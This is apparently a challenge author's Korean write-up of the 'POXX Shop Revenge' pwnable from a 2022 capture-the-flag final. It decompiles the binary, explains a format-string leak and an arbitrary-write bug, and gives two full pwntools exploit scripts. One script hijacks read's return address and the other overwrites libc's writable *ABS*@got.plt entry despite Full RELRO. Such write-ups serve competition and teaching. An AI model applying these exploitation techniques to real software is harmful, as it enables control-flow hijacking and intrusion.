(auther) Power of XX 2022 Final - POXX Shop Revenge (fsb, aaw)

Info

(0/10) solves

description

저번에는 이거 shell로 바꿔주셨잖아요..

for player

1
2
3
.
├── Dockerfile
└── chall

Dockerfile에서 libc를 추출해서 patch한 다음에 문제를 풀어야 한다. 참고로 최신 libc이다.

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

No canary found라고 나오지만 canary가 존재한다.

FULL RELRO라서 GOT overwriting이 불가능하다. 그래서 보통 malloc_hook, free_hook, _rtld_global._dl_rtld_lock_recursive 등을 덮어 실행 흐름을 조작할 수 있다. 하지만 문제에서 최신 libc를 사용하기 때문에 malloc_hookfree_hook 등을 덮는 것은 불가능하고 덮을 다른 곳을 찾아봐야 한다.

Souece Code

ida 전체 코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
int v4; // [rsp+0h] [rbp-40h] BYREF
int i; // [rsp+4h] [rbp-3Ch]
void *buf; // [rsp+8h] [rbp-38h]
_QWORD *v7; // [rsp+10h] [rbp-30h]
unsigned __int64 v8; // [rsp+18h] [rbp-28h]
_BYTE nptr[23]; // [rsp+29h] [rbp-17h] BYREF

*(_QWORD *)&nptr[15] = __readfsqword(0x28u);
v3 = alloca(176LL);
buf = &v4;
*(_QWORD *)nptr = 0LL;
*(_QWORD *)&nptr[7] = 0LL;
initialize(argc, argv, 8LL);
puts("*** POXX Shop! ***\n");
for ( i = 0; i <= 1; ++i )
{
puts("1. Buy");
puts("2. Exchange");
puts("3. Return");
printf(">> ");
__isoc99_scanf("%d", &v4);
if ( v4 == 3 )
{
puts("What do you want for return?");
printf(">> ");
read(0, buf, 0xA0uLL);
puts("Sorry, It's impossible.");
}
else if ( v4 <= 3 )
{
if ( v4 == 1 )
{
puts("What do you want?");
printf(">> ");
read(0, buf, 0xFuLL);
if ( !strchr((const char *)buf, 110) )
printf((const char *)buf);
}
else if ( v4 == 2 )
{
puts("Would you like an exchange? What about?");
printf(">> ");
read(0, nptr, 0xFuLL);
v7 = (_QWORD *)strtoul(nptr, 0LL, 10);
puts("I can exchange it for another for you. What do you want?");
printf(">> ");
read(0, nptr, 0x14uLL);
v8 = strtoul(nptr, 0LL, 10);
*v7 = v8;
}
}
}
printf("Bye");
exit(0);
}

아래 1번 메뉴와 2번 메뉴에서 각각 취약점이 존재하며, 해당 취약점을 이용해서 익스플로잇 코드 작성이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ( choice == 1 )
{
puts("What do you want?");
printf(">> ");
read(0, buf, 0xFuLL);
if ( !strchr((const char *)buf, 'n') )
printf((const char *)buf); // fsb
}
else if ( choice == 2 )
{
puts("Would you like an exchange? What about?");
printf(">> ");
read(0, nptr, 0xFuLL);
v7 = (_QWORD *)strtoul(nptr, 0LL, 10);
puts("I can exchange it for another for you. What do you want?");
printf(">> ");
read(0, nptr, 0x14uLL);
v8 = strtoul(nptr, 0LL, 10);
*v7 = v8; // aaw
}

먼저 1번 메뉴를 살펴보자. buf에 입력을 받고 printf로 출력을 해준다. 이 때 fsb가 발생하지만 ‘n’을 필터링하고 있기 때문에 스택 주소 leak만 가능하다.

2번 메뉴에서는 *v7 = v8; 이 구문을 통해 원하는 주소에 원하는 값을 쓸 수 있다. 다시 말해서 임의 주소 쓰기가 가능하다.

이때 strtoul을 이용해서 정수로 구성된 str을 unsigned long으로 바꿔준다.

v7에 0x7ffcea69ddf0를 넣고 싶다면? read에서 nptr에 해당 값을 입력해야한다. 그럼 strtoul 함수의 인자는 아래와 같이 들어가게 된다.

1
2
3
4
5
strtoul@plt (
$rdi = 0x007ffcea69de19 → "140724241292784",
$rsi = 0x00000000000000,
$rdx = 0x0000000000000a
)

그리고 반환값은 아래와 같다.

1
$rax   : 0x007ffcea69ddf0

출제자의 입장에서 v7을 위한 nptr을 입력받을 때 왜 size가 0xF인 이유를 설명해보겠다.

보통 인텔 64bit에서 립시나 스택 주소는 0x7f로 시작하게 되고, 못해도 원하는 입력하고 싶은 주소의 범위는 아래와 같을 것이라고 생각했다.

1
2
0x7f0000000000 ~ 0x7fffffffffff
139637976727552 ~ 140737488355327

이 값은 strtoul 함수에 의해 문자열(예를 들면 140737488355327)이 unsigned long으로 바뀌게 되므로, 입력하는 글자 수를 len('140737488355327')=15로 제한하게 되었다.

또한 v8을 위한 nptr 입력도 0x14로 특별히 제한한 이유가 있다. 이 글의 언인텐이 아닌 다음 글의 언인텐을 위해서다. (출제할 때부터 인지하고 있었던 언인텐이고 일부러 입력 크기를 0x14로 두고 언인텐을 방지하지 않았다.)

이에 관해서는 다음 글에서 설명하도록 한다.

Vunlerability

아무리 봐도 bof는 터지지 않는다. 임의 주소 쓰기와 스택 주소 leak을 이용하여 Exploit을 진행해보자.

스택에 있는 주소를 모두 출력할 수 있다는 것은 강력한 취약점이다. pie base, libc base, stack address 등을 바로 구할 수 있기 때문이다.

Exploit

인텐과 언인텐 하나씩 소개한다. 인텐은 스택 ret를 gift 함수로 덮는 것이다. 이 문제는 예선 때 냈던 문제를 살짝 바꿔서 낸 문젠데 예선 때 풀어주신 분들이 모두 똑같은 방식(언인텐)으로 푸셔서 그 부분을 패치해서 냈다.

목표는 1. 패치를 통해 예선 때의 언인텐 풀이가 불가능 한 것, 2. 포너블 올클 방지 였다. 예선 때의 언인텐은 main 함수가 return 0으로 종료되어서 스택 ret를 gift함수 주소로 바꿔서 풀이하는 것이다. 이것을 방지하기 위해 main이 종료하는 부분을 exit(0)으로 변경하였다. 본선 문제를 풀이할 때 read 함수의 ret를 덮지 않고 풀이를 했으나 해당 방식은 익스하는데 오랜 시간이 걸려서 다른 익스 방식을 탐색하였다. 결국 예선 언인텐과 비슷한 방식의 풀이를 본선 인텐으로 채택하였다. 재밌는 것은 대회 끝나고 해당 문제를 풀이하려고 하신 분의 익스 코드를 살펴봤는데 이 방법이 아니라 다른 방법으로 시도하고 계셨다.. 이 방법도 해당 글에 소개하도록 하겠다.

Exploit Scnario 1 (intend)

  1. stack address를 구한 뒤, loop 횟수 변경
  2. pie base 구하기
  3. buf를 read ret로 변경 후 gift 입력 (read ret를 gift)

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.arch = 'amd64'
#context.log_level = 'DEBUG'

e = ELF('./chall')
p = process('./chall')
#p = remote('43.201.142.219', 49166)

def Buy(content):
p.sendlineafter('>>', '1')
p.sendafter('>>', content)

def Exchange(addr, content):
p.sendlineafter('>>', '2')
p.sendafter('>>', str(addr))
p.sendlineafter('>>', str(content))

# [1]
Buy('%29$p')
stack_leak = int(p.recvuntil(b'\x7f')[:-1], 16)
info('stack leak :: ' + hex(stack_leak))

# struct.unpack('q',(struct.pack('i',-1)+struct.pack('i',-10)))[0]
# -38654705665
Exchange(stack_leak + 0xb0, -38654705665)

# [2]
Buy('%39$p_')
e.address = int(p.recvuntil(b'_')[:-1], 16) - 0x1277
info('pie base :: ' + hex(e.address)) # pie base

# [3]
pause()
Exchange(stack_leak + 0xb8, stack_leak - 0x8) # buf -> read ret
Buy(p64(e.sym['gift']))


p.interactive()

loop 횟수 변경

1
2
3
4
5
6
7
>>> import struct
>>> struct.pack('i', -1)
b'\xff\xff\xff\xff'
>>> struct.pack('i', -10)
b'\xf6\xff\xff\xff'
>>> struct.pack('i', -1) + struct.pack('i', -10)
b'\xff\xff\xff\xff\xf6\xff\xff\xff'

위 바이트 문자열을 long long int로 unpack하면 아래와 같다.

1
2
>>> struct.unpack('q', (struct.pack('i', -1) + struct.pack('i', -10)))
(-38654705665,)

참고로 굳이 loop 횟수를 변경하지 않아도 된다. 그 이유는 우리는 stack과 pie만 구하면 되는데 fsb가 터질 때 글자 수가 충분하기 때문이다.

Exploit Scnario 2

  1. stack address를 구한 뒤, loop 횟수 변경
  2. libc base 구하기
  3. pie base 구하기
  4. *ABS*@got.plt를 gift 함수 주소로 덮기 (got overwriting)

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.arch = 'amd64'
#context.log_level = 'DEBUG'

e = ELF('./chall')
p = process('./chall')
libc = ELF('./libc.so.6')

def Buy(content):
p.sendlineafter('>>', '1')
p.sendafter('>>', content)

def Exchange(addr, content):
p.sendlineafter('>>', '2')
p.sendafter('>>', str(addr))
p.sendlineafter('>>', str(content))

# [1]
Buy('%29$p')
stack_leak = int(p.recvuntil(b'\x7f')[:-1], 16)
info('stack leak :: ' + hex(stack_leak))

# struct.unpack('q',(struct.pack('i',-1)+struct.pack('i',-10)))[0]
# -38654705665
Exchange(stack_leak + 0xb0, -38654705665)

# [2]
pause()
Buy('%37$p_')
libc.address = int(p.recvuntil(b'_')[:-1], 16) - 0x23290
info('libc base :: ' + hex(libc.address)) # libc base

# [3]
Buy('%39$p_')
e.address = int(p.recvuntil(b'_')[:-1], 16) - 0x1277
info('pie base :: ' + hex(e.address)) # pie base

# [4]
abs_got = libc.address + 0x1d8050
info('abs got :: ' + hex(abs_got))

Exchange(abs_got, e.sym['gift'])

p.interactive()

GOT overwriting

Full RELRO임에도 GOT overwriting이 가능하다.

puts의 구현 초반부를 gdb에서 확인하면 아래와 같다.

1
2
3
4
5
6
7
8
9
0x7fa31ab33aa0 <puts>:       endbr64
0x7fa31ab33aa4 <puts+4>: push r14
0x7fa31ab33aa6 <puts+6>: push r13
0x7fa31ab33aa8 <puts+8>: push r12
0x7fa31ab33aaa <puts+10>: mov r12,rdi
0x7fa31ab33aad <puts+13>: push rbp
0x7fa31ab33aae <puts+14>: push rbx
0x7fa31ab33aaf <puts+15>: sub rsp,0x10
0x7fa31ab33ab3 <puts+19>: call 0x7fa31aae12b0 <*ABS*+0x9d080@plt>

*ABS*+0x9d080@plt 을 call하고 있는데, 안에 들어가서 확인해보면 아래와 같다.

1
2
0x7fa31aae12b0 <*ABS*+0x9d080@plt>:  endbr64
0x7fa31aae12b4 <*ABS*+0x9d080@plt+4>: bnd jmp QWORD PTR [rip+0x1b5d95] # 0x7fa31ac97050 <*ABS*@got.plt>
1
2
3
4
5
gef➤  vm 0x7fa31ac97050
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x007fa31ac97000 0x007fa31ac99000 0x000000001d8000 rw- /usr/lib/libc.so.6

*ABS*@got.plt 주소를 참조해서 jmp하므로 gift로 바꿔서 익스하면 될 듯 하다. 풀렐로 임에도 불구하고 쓰기 권한이 존재한다.

1
0x7fa31ac97050 <*ABS*@got.plt>: 0x00007fa31ac27920

overwriting 후.. *ABS*@got.plt 주소에 gift 주소를 저장시킬 수 있다.

1
0x7fa31ac97050 <*ABS*@got.plt>: 0x0000558eefe46257

이 후에 puts 함수가 실행된다면 gift 함수가 실행될 것이다.

Review

Demon 팀으로써 CTF 문제를 출제한 것 중에 가장 공을 들였고 오래걸렸다. 최신 libc를 가진 문제는 많이 풀이를 안해봐서 두 번째 익스 방법은 몰랐다. 새로운 것을 배워서 기분이 좋다 :) 이 문제 덕분에 최신 libc도 분석을 해보았는데 관련 내용은 Docs 카테고리에 (언젠간) 업뎃할 예정이다.